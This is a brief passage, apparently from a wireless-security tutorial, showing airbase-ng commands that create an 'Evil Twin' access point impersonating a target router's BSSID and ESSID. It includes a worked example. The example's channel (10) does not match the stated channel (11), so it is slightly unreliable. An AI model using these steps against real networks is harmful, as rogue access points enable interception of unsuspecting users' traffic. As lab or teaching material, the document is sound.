Get info about the Good Twin AP:

Create Evil Twin (Window 1)

To create our Evil Twin AP, we'll use airbase:

mars $ airbase-ng -a <BSSID> --essid <ESSID> -c <channel> <interface>

or, to make it shorter,

mars $ airbase-ng --essid <ESSID of network> <interface>

So for example, we might listen for the Good Twin router on channel 11, see it, then create our base station:

mars $ airbase-ng -a AA:BB:CC:DD:EE:FF --essid "HomeRouter" -c 10 wlan1
